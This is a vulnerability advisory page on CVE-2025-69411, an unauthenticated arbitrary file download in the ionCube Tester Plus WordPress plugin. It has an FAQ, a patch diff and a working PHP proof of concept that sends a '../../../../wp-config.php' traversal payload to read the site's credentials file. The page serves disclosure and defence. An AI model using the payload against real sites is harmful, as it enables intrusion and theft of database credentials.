What is CVE-2025-69411?

CVE-2025-69411 is a critical vulnerability in the ionCube Tester Plus plugin for WordPress, allowing unauthenticated attackers to exploit a path traversal flaw. This vulnerability enables attackers to read arbitrary files on the server, potentially exposing sensitive information.

How does the vulnerability work?

The vulnerability arises from the `loader-wizard.php` file’s failure to properly validate user input for file download requests. Attackers can manipulate the `ininame` parameter to include directory traversal sequences, allowing them to access files outside the intended directory.

Who is affected by this vulnerability?

Any WordPress site using the ionCube Tester Plus plugin version 1.3 or earlier is affected by this vulnerability. Administrators should check their installed plugins and versions to determine if they are at risk.

How can I check if I am using a vulnerable version?

To check if you are using a vulnerable version, log in to your WordPress admin dashboard, navigate to the ‘Plugins’ section, and look for the ionCube Tester Plus plugin. Verify that the version number is 1.3 or earlier.

How can I fix this vulnerability?

The vulnerability is patched in version 1.4 of the ionCube Tester Plus plugin. To fix the issue, update the plugin to the latest version through the WordPress admin dashboard or manually download the updated version from the plugin repository.

What if I cannot update the plugin immediately?

If immediate updating is not possible, consider disabling the ionCube Tester Plus plugin until a patch can be applied. Additionally, restrict access to your WordPress installation and monitor for unusual activity.

What does the CVSS score of 9.1 indicate?

The CVSS score of 9.1 indicates a critical vulnerability with a high potential impact. This means that successful exploitation could lead to severe information disclosure without requiring authentication, posing significant risks to the affected system.

What is path traversal and why is it dangerous?

Path traversal is a type of security vulnerability that allows an attacker to access files and directories that are outside the intended scope of the application. This can lead to unauthorized access to sensitive files, such as configuration files containing database credentials.

How does the proof of concept demonstrate the vulnerability?

The proof of concept provided demonstrates how an attacker can send a crafted HTTP request to the vulnerable `loader-wizard.php` file, including the `download` and `ininame` parameters. By manipulating these parameters, the attacker can retrieve sensitive files like `wp-config.php`.

What are the potential consequences of this vulnerability?

The potential consequences include unauthorized access to sensitive information stored in files on the server, such as database credentials or API keys. This could lead to further attacks on the site or compromise of user data.

Are there any other security measures I should take?

In addition to updating vulnerable plugins, ensure that your WordPress installation and all other plugins and themes are kept up to date. Implement strong access controls, use security plugins, and regularly monitor your site for suspicious activity.

Where can I find more information about this vulnerability?

More information about CVE-2025-69411 can be found on the National Vulnerability Database (NVD) or through security advisories published by WordPress security communities. These resources provide detailed insights and updates regarding vulnerabilities.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-69411: ionCube Tester Plus <= 1.3 – Unauthenticated Arbitrary File Download (ioncube-tester-plus)

CVE ID CVE-2025-69411

Plugin ioncube-tester-plus

Severity Critical (CVSS 9.1)

CWE 22

Vulnerable Version 1.3

Patched Version 1.4

Disclosed March 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69411:
The vulnerability is an unauthenticated path traversal in the ionCube Tester Plus WordPress plugin. The root cause is the `loader-wizard.php` file’s failure to validate user input and enforce authentication before processing file download requests. The file directly accesses the `download` and `ininame` parameters from the request. The `ininame` parameter is passed directly to the file serving logic without path traversal sanitization, allowing directory traversal sequences. The patch in version 1.4 adds two security measures. First, it includes a WordPress environment check and requires the user to be a logged-in administrator with the `manage_options` capability before any script logic executes. Second, it wraps the `ininame` parameter value in a `basename()` call, stripping any directory components from the filename. Exploitation requires an attacker to send a GET request to `/wp-content/plugins/ioncube-tester-plus/loader-wizard.php` with the `download` parameter set and the `ininame` parameter containing a relative path like `../../wp-config.php`. This allows arbitrary file read on the server, potentially exposing database credentials and other secrets. The CVSS score of 9.1 reflects the high impact of information disclosure without authentication.

Differential between vulnerable and patched code

Code Diff

--- a/ioncube-tester-plus/ioncube-tester-plus.php
+++ b/ioncube-tester-plus/ioncube-tester-plus.php
@@ -1,11 +1,11 @@
 <?php
 /*
 Plugin Name: ionCube Tester Plus
-Version: 1.3
+Version: 1.4
 Plugin URI: http://www.mapsmarker.com
 Description: This plugin helps you to determine if the ionCube loaders are installed correctly on your web server. If not, a installation wizard with giving install instructions.
-Author: Robert Harm
-Author URI: http://www.harm.co.at
+Author: Robert Seyfriedsberger
+Author URI: http://www.seyfriedsberger.net
 License: GPLv2
 */
 //info prevent file from being accessed directly
@@ -48,13 +48,13 @@
 			$ioncube_loader_version_major = (int)substr($ioncube_loader_version,0,1);
 			$ioncube_loader_version_minor = (int)substr($ioncube_loader_version,2,1);
 		}
-		echo '<div class="updated" style="padding:0 10px 10px 10px;"><h3>IonCube loaders v' . $ioncube_loader_version . ' are <span style="color:green;font-weight:bold;">AVAILABLE</span> on this web server.</h3>You can start the installation of plugins like <a href="http://www.mapsmarker.com/" target="_blank">Leaflet Maps Marker Pro</a></div>';
+		echo '<div class="updated" style="padding:0 10px 10px 10px;"><h3>IonCube loaders v' . $ioncube_loader_version . ' are <span style="color:green;font-weight:bold;">AVAILABLE</span> on this web server.</h3>This plugin is sponsored by <a href="http://www.mapsmarker.com/" target="_blank">Maps Marker Pro</a> - the #1 mapping plugin for WordPress</div>';
 	} else {
 		$ioncube_phpini_exists = WP_PLUGIN_DIR . DIRECTORY_SEPARATOR . 'php.ini';
 		if (!file_exists($ioncube_phpini_exists)) {
-			echo '<div class="error" style="padding:0 10px 10px 10px;"><h3>IonCube loaders are <span style="color:red;font-weight:bold;">NOT AVAILABLE</span> on this web server.</h3>' . sprintf(__('<a href="%1s" target="_blank">Please click here to start the installation wizard</a> which offers an interactive tutorial on how to install the required "ionCube Loader" on your web server.','lmm'), ICT_PLUGIN_URL . 'loader-wizard.php' ) . '</div>';
+			echo '<div class="error" style="padding:0 10px 10px 10px;"><h3>IonCube loaders are <span style="color:red;font-weight:bold;">NOT AVAILABLE</span> on this web server.</h3>' . sprintf(__('<a href="%1s" target="_blank">Please click here to start the installation wizard</a> which offers an interactive tutorial on how to install the "ionCube Loader" on your web server.<br/><br/>This plugin is sponsored by <a href="http://www.mapsmarker.com/" target="_blank">Maps Marker Pro</a> - the #1 mapping plugin for WordPress','lmm'), ICT_PLUGIN_URL . 'loader-wizard.php' ) . '</div>';
 		} else {
-			echo '<div class="error" style="padding:10px;">' . sprintf(__('You already ran the <a href="%1s" target="_blank">ioncube installation wizard</a> and copied the created php.ini file to <strong>%2s</strong><br/>To finish the ioncube installation, please also copy the file <strong>php.ini</strong> to the directory <strong>%3s</strong><br/>Afterwards the ioncube installation is finished and this admin message should turn green.','lmm'), plugin_dir_url(__FILE__) . '/loader-wizard.php', plugin_dir_path(__FILE__) . '/', ABSPATH . 'wp-admin' . DIRECTORY_SEPARATOR ) . '</div>';
+			echo '<div class="error" style="padding:10px;">' . sprintf(__('You already ran the <a href="%1s" target="_blank">ioncube installation wizard</a> and copied the created php.ini file to <strong>%2s</strong><br/>To finish the ioncube installation, please also copy the file <strong>php.ini</strong> to the directory <strong>%3s</strong><br/>Afterwards the ioncube installation is finished and this admin message should turn green.<br/><br/>This plugin is sponsored by <a href="http://www.mapsmarker.com/" target="_blank">Maps Marker Pro</a> - the #1 mapping plugin for WordPress','lmm'), plugin_dir_url(__FILE__) . '/loader-wizard.php', plugin_dir_path(__FILE__) . '/', ABSPATH . 'wp-admin' . DIRECTORY_SEPARATOR ) . '</div>';
 		}
 	}
   }
--- a/ioncube-tester-plus/loader-wizard.php
+++ b/ioncube-tester-plus/loader-wizard.php
@@ -1,5 +1,19 @@
 <?php // -*- c++ -*-

+// --- BEGIN SECURITY PATCH ---
+// Load WordPress environment to check authentication
+$wp_load = dirname(dirname(dirname(dirname(__FILE__)))) . '/wp-load.php';
+if ( file_exists( $wp_load ) ) {
+    require_once( $wp_load );
+}
+
+// Block access if not a logged-in Administrator
+if ( ! defined( 'ABSPATH' ) || ! current_user_can( 'manage_options' ) ) {
+    header( 'HTTP/1.0 403 Forbidden' );
+    die( 'Access Denied: You must be a logged-in Administrator to use this tool.' );
+}
+// --- END SECURITY PATCH ---
+
 /**
  * ionCube Loader install Wizard
  *
@@ -3229,7 +3243,8 @@
     $download = get_request_parameter('download');
     $ini_file_name = '';
     if (!empty($download)) {
-        $ini_file_name = get_request_parameter('ininame');
+        // Security Fix: basename() prevents path traversal attacks (e.g. ../../)
+		$ini_file_name = basename( get_request_parameter('ininame') );
         if (empty($ini_file_name)) {
             $ini_file_name = ini_file_name();
         }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69411 - ionCube Tester Plus <= 1.3 - Unauthenticated Arbitrary File Download
<?php
$target_url = 'http://target-site.com/wp-content/plugins/ioncube-tester-plus/loader-wizard.php';

// The vulnerable parameter 'ininame' accepts path traversal sequences.
// The 'download' parameter must also be present in the request.
$payload = array(
    'download' => '1',
    'ininame' => '../../../../wp-config.php' // Adjust traversal depth as needed
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// The server may attempt to force a file download. Disable the 'Content-Disposition' header expectation.
curl_setopt($ch, CURLOPT_HEADER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && !empty($response)) {
    echo "Potential file contents:n";
    echo $response;
} else {
    echo "Request failed with HTTP code: $http_coden";
}
?>

Frequently Asked Questions

What is CVE-2025-69411?
Overview of the vulnerability
CVE-2025-69411 is a critical vulnerability in the ionCube Tester Plus plugin for WordPress, allowing unauthenticated attackers to exploit a path traversal flaw. This vulnerability enables attackers to read arbitrary files on the server, potentially exposing sensitive information.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from the `loader-wizard.php` file’s failure to properly validate user input for file download requests. Attackers can manipulate the `ininame` parameter to include directory traversal sequences, allowing them to access files outside the intended directory.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the ionCube Tester Plus plugin version 1.3 or earlier is affected by this vulnerability. Administrators should check their installed plugins and versions to determine if they are at risk.
How can I check if I am using a vulnerable version?
Steps to verify plugin version
To check if you are using a vulnerable version, log in to your WordPress admin dashboard, navigate to the ‘Plugins’ section, and look for the ionCube Tester Plus plugin. Verify that the version number is 1.3 or earlier.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is patched in version 1.4 of the ionCube Tester Plus plugin. To fix the issue, update the plugin to the latest version through the WordPress admin dashboard or manually download the updated version from the plugin repository.
What if I cannot update the plugin immediately?
Mitigation strategies
If immediate updating is not possible, consider disabling the ionCube Tester Plus plugin until a patch can be applied. Additionally, restrict access to your WordPress installation and monitor for unusual activity.
What does the CVSS score of 9.1 indicate?
Understanding severity levels
The CVSS score of 9.1 indicates a critical vulnerability with a high potential impact. This means that successful exploitation could lead to severe information disclosure without requiring authentication, posing significant risks to the affected system.
What is path traversal and why is it dangerous?
Explaining the attack vector
Path traversal is a type of security vulnerability that allows an attacker to access files and directories that are outside the intended scope of the application. This can lead to unauthorized access to sensitive files, such as configuration files containing database credentials.
How does the proof of concept demonstrate the vulnerability?
Example of exploitation
The proof of concept provided demonstrates how an attacker can send a crafted HTTP request to the vulnerable `loader-wizard.php` file, including the `download` and `ininame` parameters. By manipulating these parameters, the attacker can retrieve sensitive files like `wp-config.php`.
What are the potential consequences of this vulnerability?
Impact on affected systems
The potential consequences include unauthorized access to sensitive information stored in files on the server, such as database credentials or API keys. This could lead to further attacks on the site or compromise of user data.
Are there any other security measures I should take?
Best practices for WordPress security
In addition to updating vulnerable plugins, ensure that your WordPress installation and all other plugins and themes are kept up to date. Implement strong access controls, use security plugins, and regularly monitor your site for suspicious activity.
Where can I find more information about this vulnerability?
Resources for further reading
More information about CVE-2025-69411 can be found on the National Vulnerability Database (NVD) or through security advisories published by WordPress security communities. These resources provide detailed insights and updates regarding vulnerabilities.

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